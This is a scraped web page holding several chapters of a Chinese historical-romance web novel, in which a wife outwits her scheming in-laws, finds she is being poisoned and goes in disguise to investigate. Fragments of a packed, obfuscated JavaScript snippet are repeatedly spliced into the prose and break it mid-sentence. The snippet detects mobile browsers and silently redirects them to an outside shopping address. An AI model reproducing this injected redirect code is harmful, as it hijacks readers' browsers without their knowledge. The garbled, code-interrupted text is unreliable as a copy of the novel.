l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14017232|148660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是日子过得太过舒坦了,莺儿,你明日且去告诉他们,日后安阳侯府是安阳侯府,我是我。” “是,姑娘。” 秋容哼着小曲蹦蹦跳跳回房,前些日子果然是她多想了,姑娘分明还是和从前一般好说话。 她心中颇为得意,就算是主子又如何,还不是被她拿捏得死死的! 如今她已经争取到继续服侍姑娘的机会,那离完成老夫人的吩咐又有多远呢? 秋容一双眼睛里满是势在必得的野心,她仿若已经瞧见自己成为主子后的优渥生活。 次日一早,顾皎皎还未起床,宋嬷嬷便侯在了门外。 莺儿:“宋嬷嬷,我们姑娘身子还未康复,怕是不能去给老夫人请安了。” 宋嬷嬷笑了笑:“不妨事,今日老夫人遣我来只是想瞧瞧三夫人身体康复了没。” 莺儿点头,正想说什么,寝屋内却传出动静,她当即端着水盆推门而入。 宋嬷嬷见状也忙跟着挤进寝屋。 甫一进屋内,她那双精明的眼便直勾勾看向顾皎皎。 见顾皎皎精神颇好,面色 红润,她才道:“三夫人,老夫人昨日看您身子丰腴了些,惦记着您的衣裳应当不太合适了,是以,今日特意让奴婢来请您过去定制新衣首饰。” 顾皎皎想也没想便拒绝:“多谢母亲好意,只是我有衣裳,实在不必铺张浪费,若是母亲与两位嫂嫂想定制新衣,那便订就是了。” 宋嬷嬷没料到她竟这般直截了当拒绝,顿了两秒,片刻后她才道:“三夫人莫不是还不知安国公夫人大寿一事?” 顾皎皎自然知晓,她道:“这两件事有何联系,未必母亲的意思是,今日便将安国公夫人大寿时要穿的衣裳定制做出来?” 宋嬷嬷点头:“正是,老夫人与两位夫人都在正厅等着了,奴婢等着三夫人用完早膳一同过去。” 这意思是想赶鸭子上架? 顾皎皎心中微恼,说什么安国公夫人大寿,分明都是幌子! 第十八章 难道是发现了什么? 想来定然是那老虔婆昨日赏了秋容镯子,又后知后觉肉疼了,是以今日才想了法子,想从自己身上吸回血。 莺儿自然也想到了这茬,她气愤不已,忙将顾皎皎护到身后:“宋嬷嬷,我家姑娘身子不适,大夫说了要静养,今日便不随你一道去了,况且安国公夫人的大寿尚有一月,也不急于这一时吧。” 宋嬷嬷变了脸色,一巴掌将莺儿扇到一旁:“大胆!我与三夫人说话,何时轮到你一个乳臭未干的臭丫头插嘴了!” 顾皎皎向来护短,况且这宋嬷嬷在她面前打她的人,也是不给她面子。 她面色变得冰凉,抬手径直扇了宋嬷嬷两耳光:“你才大胆,我这个主子都尚未发话,我的人又何时轮到你一个奴婢来教训了?” 宋嬷嬷被打懵了,红肿的脸颊偏向一旁。 她未曾料到平日里绵羊一般的三夫人,竟会动手打她! 经此一遭,顾皎皎心中怒火消散不少,她道:“莺儿,去,把秋容找来。” 宋嬷嬷闻言眼睛闪了闪,心瞬间高高悬起,三夫人为何要找秋容,难道是发现了什么? 还未等她想明白,莺儿便带着秋容过来。 一见宋嬷嬷,秋容顿觉心虚,她强自镇定行礼:“姑娘,您找奴婢过来可是有何事?” 难道姑娘发现了她与宋嬷嬷接头? 二人的心虚反应皆被尽收眼底,顾皎皎眸中闪过一抹玩味:“秋容,昨日你可说了,你与莺儿与我是在这府中最亲近之人?” 秋容:“正是。” “既如此,若是有人欺负了你最亲近之人,你可要帮忙?” 秋容额角渗出细汗,她明知顾皎皎此话为圈套,却也不得不入套:“姑娘说得是……” 顾皎皎满意,她瞧了莺儿一眼,莺儿立马带着两名小厮将宋嬷嬷压着跪下。 宋嬷嬷大喊:“三夫人,您要做什么?我乃老夫人身边的人,您无权处置我!” 顾皎皎充耳未闻,只似笑非笑看着秋容道:“宋嬷嬷方才打了莺儿一巴掌,你既然说莺儿是你最亲近之人,此刻复仇的时机便到了。” “去吧秋容,今日你若掌嘴宋嬷嬷一百下……”她的视线落在秋容手上旧旧的银手镯上,微勾唇角:“我便赏你一个全新的银镯子,至于你手上那只……如此破烂,便当着我的面丢了吧。” 秋容立马捂住手镯,这是老夫人赏的,她哪里敢丢! 顾皎皎挑眉:“你这是要违抗我的命令?” “没有,姑娘!”秋容否认,不行,她好不容易才与姑娘关系和缓些许,若是又因为这手镯导致关系变僵,那可如何是好? 秋容咬了咬牙,将手上银镯取下丢在了地上,为表忠心还重重踩了两脚。 “很好,那便即刻掌嘴。” 宋嬷嬷被小厮按住双手动弹不得,秋容无法,只能闭眼抬手左右开弓。 顾皎皎心中高兴:“走吧莺儿,咱们再去前厅凑凑热闹。” 正厅 “老夫人,现下可否量尺寸了?” 说话的是霓裳阁掌柜,她们已然在此处等了一个时辰。 孙老夫人看了眼门外,见顾皎皎还是未到,她心中颇为烦躁:“再等等!” “母亲可是在等我?”顾皎皎笑着大步进入正厅。 孙老夫人冷哼一声:“自然是等你,哼,我看呐,京中便没有比你命更好的人,瞧瞧这都什么时辰了!你竟才起来!” 顾皎皎:“让母亲和二位嫂嫂久等是我的不是,不过母亲说错了,儿媳可不是才起,不过是教训了一个以下犯上的奴才,是以才耽搁了些时辰。” 孙老夫人对这些不感兴趣,忙摆手:“莫要耽搁时间了,快些量尺寸吧。” 霓裳阁掌柜一一给众人量了尺寸后,又让手下将数十种布匹送进来。 “各位夫人可瞧瞧这里面有没有心仪的布匹。” 顾皎皎随手指了块儿素净的月白色蜀锦,而后便带着莺儿坐在角落喝茶。 孙老夫人与章氏、刘氏则是叽叽喳喳凑到一处挑选,一会儿嫌这块儿布料颜色老气,一会儿嫌那块布料手感廉价。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14017233|148660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 话虽如此,到末了,他们却一人挑了好几块布料。 孙老夫人瞧见另一个托盘中的一副头面甚是精致,询问道:“掌柜的,这也是售卖的?” 霓裳阁掌柜点头:“正是,老夫人若是喜欢,不若将这幅头面买下。” “多少银子?” “二百两。” 孙老夫人:“倒也不算太多,成,就包起来吧。” 掌柜立即眉开眼笑,她拿出随身携带的金算盘,噼里啪啦拨了几下后道:“今日各位夫人的服饰、首饰共计一千一百两,现银还是银票?” 孙老夫人看向顾皎皎:“皎皎啊,今日母亲未曾带这么多银钱,不若你先垫上,母亲等会儿还你可好?” 顾皎皎没说好,也没说不好。 她从怀中掏出钱袋瞧了瞧:“掌柜的,我选的那匹布料多少银子?” 掌柜:“三夫人,九十两。” “好。”顾皎皎直接将钱袋递给霓裳阁掌柜:“我刚好有九十两银子。” 刘 氏大声道:“你只有九十两?那我们的怎么办?不行,你快让你的丫鬟回去取银票!” 顾皎皎笑:“二嫂嫂说得好没道理,怎的就要我回去取银票了,我并未管家。” 刘氏:“你就算未曾管家又如何,你给母亲定做两身衣服,买一副头面都是应该的,而我与大嫂都是你的长辈,你自然也应该孝敬。” “孝敬?”顾皎皎面不改色:“听闻二嫂才买了一副价值千金的头面,如此珠光宝气的头面可是准备孝敬给母亲的?” 买头面一事被捅出,刘氏低下头心虚不已。 章氏看不过去了,义愤填膺:“三弟妹,你若是不愿孝敬母亲便直说,何必顾左右而言他!” “大嫂也说孝敬?”顾皎皎挑眉,似笑非笑:“我记得前些日子正好碰见了大嫂给娘家送五百两银票。” “大嫂应当不会厚待娘家,薄待婆家吧?” 顾皎皎接过账单瞧了瞧,眉眼弯弯:“刚好,母亲的衣服加上首饰五百两。” 第十九章 失望至极 “这……”章氏面色青一阵白一阵,她没料到今日竟是搬了石头砸自己的脚。 这招竟是不管用了,从前顾皎皎哪里会这般牙尖嘴利,若是指了她的错处,她又哪次不是唯唯诺诺认错。 顾皎皎轻轻推了掌柜一把:“掌柜,今日的银两皆由大嫂出了,还不快去收银子?” 掌柜立马带着账单站到章氏跟前。 章氏气得脸色发白,她怒斥:“顾皎皎,我何时说过要付今日银钱!” 顾皎皎讶然:“大嫂竟当真厚此薄彼?” “你!我没有!” “够了!” 章氏张嘴欲反驳,孙老太太沉着脸打断,她冷脸看着下方的三个儿媳,本以为章氏、刘氏二人总比那顾皎皎稍好些,倒是高估她们了! 今日她本是想着让顾皎皎付银子,如今顾皎皎不愿付,章氏、刘氏也指望不上。 她是万万不可能付银子的! 冷眼睨着三人,孙老夫人扶额长叹:“都是养不熟的白眼狼,罢了,掌柜的,今日我没了心情,且将我们定的服饰都退了吧。” 说完,她由宋嬷嬷搀扶着离开,神情失望至极。 章氏与刘氏原本如病猫一般焉儿得不得了,孙老夫人一走,二人便精神极了,指着对方骂。 刘氏:“你看吧,都怪你,母亲生气了,养不熟的白眼狼说的就是你,你都给了娘家五百两了,为何不付今天的银子?!” 章氏:“你还好意思说我,点翠头面几多珍贵,你眼也不眨便买了,怎的没想过母亲,今日你怎的不付银子?!” …… 二人争吵仍在继续,顾皎皎带着莺儿悄然离开。 行至花园,霓裳阁掌柜追了上来:“姑娘,请等等。” 顾皎皎停下步子,她回眸:“你怎的来了,旁人若是瞧见岂不生疑?” 霓裳阁掌柜:“姑娘放心,若是旁人问起我只说是与您沟通制作衣裳的细节问题便是。” 顾皎皎点头:“有分寸便好,旁的没什么,你待会儿悄悄的再去找找章氏与刘氏。” “是,姑娘。” 霓裳阁掌柜离开,莺儿道:“姑娘,明明都是老爷留给您的产业,为何总要遮遮掩掩的,第一楼如此,霓裳阁也如此。” “难道不是钱财多才能傍身吗?” “若是能傍身自然好,只怕物极必反。”顾皎皎叹息一声:“安阳侯府就是一个豺狼虎穴,如今我的嫁妆不过露出十之一二,他们便明里暗里的种种算计,想将我的东西据为己有。” “若是我的嫁妆露出十成十的话……”她眸子划过一抹冷然:“怕是你我主仆二人见不到明日的太阳!” 莺儿瑟缩了一下,显然有些被吓住,久久没说话。 顾皎皎笑了笑:“你也不必这般紧张,我护得住你,只要我们日后谨慎些便是。” “奴婢不是担心自己……”莺儿声音低低的:“奴婢是怕姑娘您……” 顾皎皎懂她的意思,心中感动,却还是凶巴巴道:“呸呸呸!不说丧气话。” 莺儿点头,主仆二人相视一笑。 傍晚时分,宋嬷嬷伺候孙老夫人用膳。 孙老夫人瞧了她一眼:“你今日这是怎么了,心不在焉的,连布菜也布不好。” 宋嬷嬷跪倒在地:“老夫人,奴婢有一事不知该不该说……” 孙老夫人不耐烦:“可是顾皎皎那小蹄子又出了什么幺蛾子?要说便说,说什么该不该说的?” “不……不是三夫人……”宋嬷嬷犹豫。 “不是她?”孙老夫人放下筷子:“难道是章氏与刘氏?” 宋嬷嬷点头:“奴婢方才去盯着厨房做菜时意外瞧见了大夫人与二夫人身边的锦衣丫鬟先后在墙根处偷偷塞了银子给霓裳阁掌柜……” “什么?!”孙老夫人一拍桌子,气得手抖:“果然是养不熟的白眼狼,方才要她们付银子时便一个二个的哭穷,私下里竟又都掏得出银子了!” “奴婢也觉得大夫人与二夫人此事做得太过份了……” 宋嬷嬷询问道:“老夫人,此事要如何处置?” “如何处置? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14017234|148660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我还能如何!”孙老夫人冷笑:“她们可不像顾皎皎,娘家无人,我若是因着此事对她们怎样,她们二人娘家哪里会肯善罢甘休?” 宋嬷嬷:“那此事便就这样了结了吗?” 沉思片刻,孙老夫人阴恻恻道:“怎么可能就这样了结了?” “你且去告诉管家,大房二房的衣食住行皆减半,若是问起,便说近日府中银子周转不开。” 那日之后,孙老夫人与章氏、刘氏消停了不少,顾皎皎也有时间闲下来品茗读书。 一眨眼到了夜晚,莺儿道:“姑娘,可要奴婢端水来伺候您梳洗。” 顾皎皎:“好,今日还是用牛乳泡泡脚吧。” 莺儿眨眼:“那……还是老规矩?” 见主子点头后,莺儿兴高采烈,她往寝屋方向喊了一声:“秋容,地可扫完了?姑娘要用牛乳泡脚,快去准备。” 屋内,秋容捏紧手中扫帚,她这几日清瘦了不少,穿在身上的布衣宽泛了些许。 她 咬牙:“我正忙着,你去给姑娘准备不行吗?” 莺儿:“不行!” 秋容心中愤懑,带着怒气从寝屋中走出。 她本是想趁着打扫的空闲,在屋里搜一下有没有什么可疑物件,这样也好交差,可她这才进去半柱香时间,哪里来得及! 顾皎皎将她神色看在眼里,她抿了口茶淡淡道:“你可是不愿侍奉我洗脚?” 秋容赶忙摆手:“没有姑娘,我求之不得!” 莺儿嗤笑:“姑娘,当初可是她哭着求着要侍奉您的,她能有什么不愿的。” 秋容瞪了莺儿一眼,却不敢反驳,只能憋着一股气去厨房烧水。 说是伺候姑娘,可她每日根本近不了姑娘的身,还日日累得要死,不是在花房料理花草就是打扫卫生,要不就是替姑娘洗脚! 可怜她原本一双白皙光滑的手哟! 秋容离开后,莺儿才将自己今日打听到的娓娓道来:“姑娘,奴婢听说如今大夫人、二夫人与老夫人十分不睦,今早差点没打起来!” 第二十章 撒谎! 顾皎皎闻言来了兴致:“说来听听,怎的就差点打起来了?” 她那日之举只为了离间她们三人,可不是为了让她们拼命的,毕竟如今她还未与孙协兆和离,她们若是拼命,难免不会波及自己。 莺儿道:“老夫人吩咐宋嬷嬷将大房二房的伙食减半,她们整日吃不饱饭也舍不得花钱买,因此整日都饿得头晕眼花的。” “怎料今早请安时,刘氏早到了些,正好撞见老夫人吃燕窝,刘氏当时便炸了毛,直接抢了老夫人的燕窝不要命似的往肚里灌……” 顾皎皎:“没料到刘氏竟这般彪悍,她可是我们三人里家境最好的。” 莺儿撇嘴:“若论钱财,她们刘家比不上咱们顾家分毫,不过沾了个官字罢了。” 若有若无的脚步声传来,二人对视一眼闭上了嘴。 秋容端着雪白的牛乳过来,上面点缀着鲜红的玫瑰花瓣。 “姑娘,奴婢侍奉您洗脚。” 顾皎皎任由她动作,有一搭没一搭和莺儿闲聊,不时还会轻笑出声。 秋容心中恨恨的,方才远远的,她明明听到姑娘与莺儿压低声音在说着什么,她本欲偷听,不料却踩到了树枝! 她想了想,如从前一般笑着问道:“姑娘,方才奴婢远远的便瞧见您与莺儿相谈甚欢,可是遇到了什么开心事儿?” 顾皎皎淡淡看她一眼:“没什么,不过是莺儿讲了一个笑话罢了。” 撒谎! 秋容像是逮到了什么把柄,心中不满,她方才分明隐隐约约听到了二夫人名讳…… 看来她的直觉没错,如今姑娘虽然松口让自己伺候,却不管什么事情都背着自己! 若是一直这样,她如何完成老夫人交代的事情,若是一直不能完成,她又何时才能被抬为侍妾?得想个法子才是! 洗漱完毕,顾皎皎正准备熄灯睡觉,岂料孙协兆那厮又一身酒气过来。 顾皎皎嫌弃捂住鼻,下一秒,孙协兆直直倒在地上不省人事。 莺儿懵了:“姑娘,姑爷这可如何是好……” “什么如何是好?”顾皎皎直接将莺儿拉进屋内:“我们方才可未曾瞧见什么人,关门,熄灯睡觉!” 次日,顾皎皎是被拍门声与怒骂声吵醒的。 孙协兆扯着公鸭嗓:“顾皎皎,你这个毒妇,你竟然丢我在门外睡了一夜,如今我感染了风寒,你可满意了?!” 真麻烦! 顾皎皎皱眉起身,随意披上一件纱衣便去打开房门。 清晨的第一缕阳光照射在她白皙晶莹的肌肤上,整个人仿若被覆上一层金光。 孙协兆拍门的手停在半空,他的眸中快速划过一抹惊艳。 他知晓顾皎皎貌美,可一直觉得太过寡淡,不及徐青青妖娆有韵味,今日一见倒是恍若瞧见了清冷的天上仙,勾人心魄。 见孙协兆直勾勾盯着自己,顾皎皎顿觉恶心,她转身避开视线:“我不知你在说什么,何故一大早便扰人清梦?” 孙协兆回过神来:“你装什么?昨日倒地前我分明瞧见了你们主仆二人,不是你们故意将我酿在门外又是什么?” 顾皎皎笃定:“你怕不是吃酒吃多了,记忆错乱?我可是好几日未曾见过你了。” 此话一出,孙协兆目露疑惑,难道真是自己记错了? 顾皎皎心中厌烦,为了让这瘟神快些离开,她柔柔一笑:“协兆,可要一同用早点?我让莺儿准备。” 孙协兆瞧着顾皎皎的笑容怔住,心间仿若被羽毛挠了挠,酥痒难耐。 一抹桃红闯入脑海,他瞬间清醒,这顾皎皎是想讨好自己? 方才那抹悸动消失无踪,他不屑道:“不必了,你自个儿吃吧!” 说完,他甩袖离开。 此举正和她意,若不是盼着他早些离开,她才不会给那个瘟神一丁点好脸色! 驿站 双剑将这两日安阳侯府发生的诸多事宜一一禀报,沈云祉听完笑了笑:“看来顾皎皎是个睚眦必报的,有意思,继续盯着,我倒是要瞧瞧她究竟能做到何种地步。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14017235|148660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “是,小王爷。” 双剑顿了顿,又道:“小王爷,徐青青哪里近日似乎动了什么手脚,可要干预?” “她?”沈云祉面色未变分毫,手执毫笔落字于宣纸之上:“不必理会,掀不起什么大风浪,只要莫坏事便行。” 安阳侯府 秋容形容狼狈,她怀中抱着一盆绿菊,恹恹走在小道上。 后门处传来声响,一声音甜美的小丫鬟道:“多谢姐姐开门,今日我替三夫人上街取东西,怎料中途耽误了,差点进不了门……” 听见三夫人三字,秋容立马精神抖擞,她悄悄靠着墙偷窥,圆脸丫鬟的身影撞入视线。 秋容皱眉,此人颇为面生,难道是新来府中的?方才她说替三夫人取东西? 视线落在那丫鬟怀中,麻布袋子将东西遮了个严严实实,敲不真切究竟是何物。 心中怪异感越发浓厚,经过这段时间,她算是明白了,姑娘确实是任何事情都瞒着她,且不论何物都不再经过她手,而是直接由旁人取了送进姑娘房中。 难道…… 秋容瞳孔微缩,难道姑娘真如老夫人所说,在外有了相好的! 越想越觉得事情就是如此,秋容的心情格外激动,若是能逮住姑娘那相好的,她也算是立了功,到时候老夫人一高兴定然就会完成当初答应自己的承诺! 顾皎皎借口身子不适,近段时日都未去给孙老夫人请安。 本是谎言,可这两日她就是没由来的困倦,明明才睡了午觉起来,不过一个时辰便又昏昏欲睡。 莺儿担忧:“姑娘,奴婢去府外请个大夫来瞧瞧吧,您这两日确实太过嗜睡了。” 顾皎皎不以为意,她打了一个哈欠,慵懒道:“天气暑热,嗜睡也正常。” 莺儿:“那奴婢去取点冰镇西瓜给您消消暑。” 西瓜取来,顾皎皎叉了一块放进口中,明明西瓜入口清甜,怎料还未咽下去一股恶心感袭来。 想到什么,莺儿与顾皎皎双双变了脸色。 第二十一章 竟要她的命 “姑……姑娘,算着日子,距离咱们去寒奉寺那一日似乎正正一月有余……您不会……” 莺儿声音颤抖,带着隐隐哭腔,若是姑娘当真这般不幸有了身孕,那可如何是好! 顾皎皎表现得比莺儿淡定多了:“应当不是。” “那您为何会恶心?” “不知。”顾皎皎缓缓摇头,双眼定定瞧向院中,不知在想些什么。 许是受了顾皎皎的影响,莺儿的情绪也逐渐稳定下来:“姑娘,虽您自信那事儿不会发生,可奴婢觉得保险起见,还是去府外请一名大夫瞧瞧稳妥些。” 这次顾皎皎没再拒绝,点头应允。 莺儿动作极快,不过一个时辰,她便避开安阳侯府所有人,悄悄将大夫带回院中。 大夫替顾皎皎把脉,半晌后,他皱眉道:“夫人可是近日误食了某种有毒之物?我摸着你这脉象,体内毒素已然堆积了些时日。” 误食?顾皎皎眸中闪过冷意,她这段时日从未实食用过三餐之外的任何吃食,怎么可能误食! 顾皎皎将手重新放到大夫面前道:“大夫可确定,烦请诊仔细些。” 那大夫重新诊了一次脉,得出的结论还是一样:“夫人,确是中毒,且方才我瞧了,你如今体内毒素已然堆积到一定数量,若是再晚两日发现的话……” “再晚两日当如何?” 大夫叹息:“再晚两日怕是毒入肺腑,药石无医啊!” 顾皎皎站起身,她在屋内来回踱步,何人这般歹毒,竟要她的命! 是侯府里的人,还是小云南王? 顾皎皎看向大夫道:“依你看,我体内这毒被下了多少时日了?” 大夫:“回夫人,时日不长,也就几日光景,但每次数量颇多,是以毒素堆积,所以方才我才问你是不是误食了何物。” “几日……”顾皎皎呢喃,看来下毒之人是临时起意要自己的命。 “大夫,这毒可能解?” “夫人放心,此毒能解,此毒虽动辄便会要人性命,解毒却不难。” 说着,那大夫洋洋洒洒写下一张药方:“夫人且按照这方子抓药来服用,三日便可解毒,只是切记,在此期间莫要服用有毒之物,否则恐将起反效果。” “多谢大夫。”顾皎皎轻声道谢:“莺儿,送大夫回去,看诊的银子给足了。” 二人离开,顾皎皎半躺在贵妃塌上,她闭上双眸假寐,脑海中却开始复盘起每日吃食。 “扣扣扣!” 敲门声猛的响起,一丫鬟在外恭敬道:“夫人,您今日的补药已经熬好,可要现在服用?” 顾皎皎眼眸微抬:“进来吧。” 圆脸丫鬟端着补药进入寝屋内,她熟练侍奉顾皎皎喝药。 顾皎皎看了她一眼,状若无意道:“你是个手脚伶俐的,叫什么名字?” “回夫人,奴婢香儿。” “香儿。”她深吸一口气:“真是人如其名,你身上有股淡淡的香味,沁人心脾。” 香儿羞涩一笑:“夫人过奖了,奴婢许是路过花房时沾染了花香。” 顾皎皎意味深长道:“哦,是吗?看来改日我也得去花房转转。” 香儿:“夫人,药快凉了,奴婢侍奉您快些喝了吧。” 喝了药后,她挥了挥手,香儿立马端着空碗退下。 冷冷看着香儿的背影,顾皎皎从怀中抽出手帕,面无表情吐出口中苦涩的药汁。 莺儿正好送完大夫回来:“姑娘,您是怀疑补药被人动了手脚?” 顾皎皎没点头也没摇头,而是问道:“方才那名叫香儿的丫鬟瞧着眼生,是才入府的?” 莺儿:“是的,姑娘,香儿入府快半月了,奴婢瞧着她手脚伶俐,人长得也讨喜,所以准她顶了从前秋容的活儿。” “姑娘,可是那香儿有什么问题?” “是有些问题,不过现在我也不能确定。” 顾皎皎将手中帕子递给莺儿:“你拿着帕子去找大夫瞧瞧,看里面有没有放不干净的东西。” “另外,香儿那边也可留意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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她咬牙切齿,恨恨道:“顾皎皎那个贱人,竟然三言两语便挑拨得你我与母亲差点反目!” 说着,刘氏起身便要往外冲,章氏赶忙拉住她:“二弟妹,稍安勿躁!” 第二十二章 究竟是何人 “稍安勿躁?”刘氏愤怒:“你是怕了吧?你怕什么?我们两个人未必还打不过她一个?” “都被那贱蹄子欺负到头上来了,还说什么稍安勿躁?今日我非教训她一番,才能消气!” 章氏见刘氏如蛮牛一般顿觉头疼,她手上加重力道:“莫急。” “过不了多久便是安国公夫人大寿,那一日京中所有夫人都会到场,她既三言两语挑拨离间,我们便还之彼身,届时,她在京中的名声便臭了,如何不比现在打她一顿更解气?” 闻言,刘氏逐渐冷静下来,想清其中厉害,她不禁侧目。 这章氏何时脑袋瓜如此灵光了?可是受了旁人指点?罢了,管不了这么多,当下先收拾顾皎皎才是正事! “既如此,那就按大嫂说的做吧!” 夜晚,顾皎皎打量着手中已经清洗干净的手帕:“你是说,大夫查验帕子上的药汁后发现无毒?” 莺儿:“是的,姑娘,虽然药方中有些中药改动了,可对身体无碍。” 顾皎皎:“为何要改动药方?药都是香儿抓的?” 莺儿:“是,奴婢问了香儿,她说药方之所以改了,是因为平时经常去的那家铺子没了那两味药,大夫斟酌下换了药效一样的替上。” “这理由可真够勉强的,那家铺子没了,未必其他铺子也没有吗?”顾皎皎勾唇,宣纸上落下香儿二字。 她举笔圈住香儿二字:“看来我中毒一事与此人脱不了关系,只是不知她身后的主子究竟是何人。” “奴婢让人继续盯着。”莺儿顿了顿又道:“对了姑娘,有一件事儿奴婢觉得十分蹊跷。” “何事?” “明日香儿要出府去采买,她上报的地点有第一楼,巧的是,奴婢打听到明日小云南王也要到第一楼……姑娘,您说此事究竟是巧合还是……” 顾皎皎勾唇:“管他是巧合还是什么,第一楼是我们的地盘,正好方便,明日我乔装一番去打探一下。” “明日我不在府中,你的任务便是打好掩护,莫要让他人知晓我出了府。” “是,姑娘。” 翌日 顾皎皎早早来到第一楼,她上男装,摇身变成一名清秀小厮。 打听到沈云祉等人在哪间屋子后,她端上菜肴低头敲响房门:“客官,你的菜来了。” “端进来吧。” 说话的是沈云祉,他的嗓音慵懒沙哑。 顾皎皎深吸一口气,低头推开房门。 屋内情况与她料想的不同,并未见到香儿,十人位的餐桌上只虚虚坐了三人。 沈云祉端坐上方,与他平起平坐的是一名不怒自威的中年男子,此外便是一名面纱蒙面的桃红衣衫女子。 桃红衣衫?顾皎皎眉心一跳,难道这就是孙协兆的外室徐青青? 她虽让莺儿打听了徐青青,对她了解颇多,可这还是头一遭见到她本人。 等等……徐青青与沈云祉认识?他们究竟是何关系,那个中年男子又是谁? 许是想得太过入神,顾皎皎沏茶时一个不注意将茶水泼到了沈云祉身上。 中年男子暴怒:“你这个不长眼的,该当何罪?!” 沈云祉拧眉,他抬头,正想训斥两句,却愣住。 这不是那顾皎皎吗?她怎会这幅打扮出现在此处? 顾皎皎懊恼,她忙哈腰道歉:“客官对不住,都是小的不是,小的定会赔这位客官的衣裳……” “赔?你赔得起吗?”中年男子暴怒:“你一个臭小二一年才几个子儿,竟也好意思说赔!” 中年男子还想继续说,沈云祉抬手示意他闭嘴。 房间一瞬安静下来,片刻后,他道:“赔就不必了,你带我去换一身衣服便是。” 顾皎皎忙点头:“客官请随我来。” 她从前为了方便备了不少衣服在第一楼,如今倒是派上了用场。 七拐八拐后,顾皎皎指着一间房道:“客官,里面有干净衣裳,您且进去换吧,小的先去忙了。” “等等!” 沈云祉叫住欲落荒而逃的顾皎皎,他笑着道:“你惹起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14017237|148660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的祸事,自然该由你解决,来给我更衣。” “更……更衣?”顾皎皎目瞪口呆:“客官,不太方便吧?” 沈云祉挑眉:“有何不方便?” “你……我……”顾皎皎百口莫辩,她总不能自爆马甲说她是女子吧? “你什么你?我什么我?” 看着她变幻莫测的面色,沈云祉颇觉有趣,今日的顾皎皎倒是与往日所见颇为不同。 二人就这样僵持在楼梯口,眼见时间一分一秒过去,顾皎皎坐不住了,她今日来是干正事儿的,如今香儿的身影尚未见到,却与这小云南王在此耽搁了许久。 她闭了闭眼,大有一股视死如归的气势。 更衣便更衣,反正现在在他眼中,自己就是一个不起眼的小二,与顾皎皎又有何干? 想清楚利害,顾皎皎面无表情道:“客官,请。” 沈云祉拒绝:“罢了,我不喜旁人触碰,你且退下吧。”他也不过是逗逗她罢了,怎么可能真让她伺候更衣? 顾皎皎自然求之不得,一溜烟便没了踪影。 “双剑。”沈云祉唤一声,一抹黑影如鬼魅般出现,双剑单膝跪地:“小王爷。” 沈云祉看向顾皎皎离开的方向:“你且去跟着她,看她究竟想做什么。” 顾皎皎快速换了一身衣服,她再次如法炮制进入徐青青与那中年男子所在的房间。 或许要害她的不一定是孙家人与小云南王,香儿身上有一股独特的香味儿,方才路过徐青青时,隐隐约约闻到了一丝与香儿身上相似的味道。 她只需靠近徐青青确定一下,若是确有香味,那害她之人便是徐青青! 中年男子见又有小二进来,他冷哼一声:“又是一个瘦瘦小小的小二,别又端壶茶都端不稳。” 顾皎皎在心底翻了个白眼,她不理会那中年男子,直直往徐青青走去。 她轻轻嗅了嗅,果然闻到了在香儿身上闻到的气味! 隐隐约约的脚步声传来,顾皎皎猜测应当是小云南王回来了,快速倒完茶离开。 第二十三章 厚颜无耻 安阳侯府。 莺儿站在后门处焦急眺望,秀眉紧锁,直到看见主子的身影,她才松了口气,急忙迎上前。 顾皎皎疑惑:“你怎的在此处,不是让你在院中呆着,莫让人发现我出去了吗?” “姑娘,你出府一事应当被人瞧见了。” 顾皎皎闻言皱眉:“怎会?我出府时并未有人瞧见,秋容也被早早打发开了。” 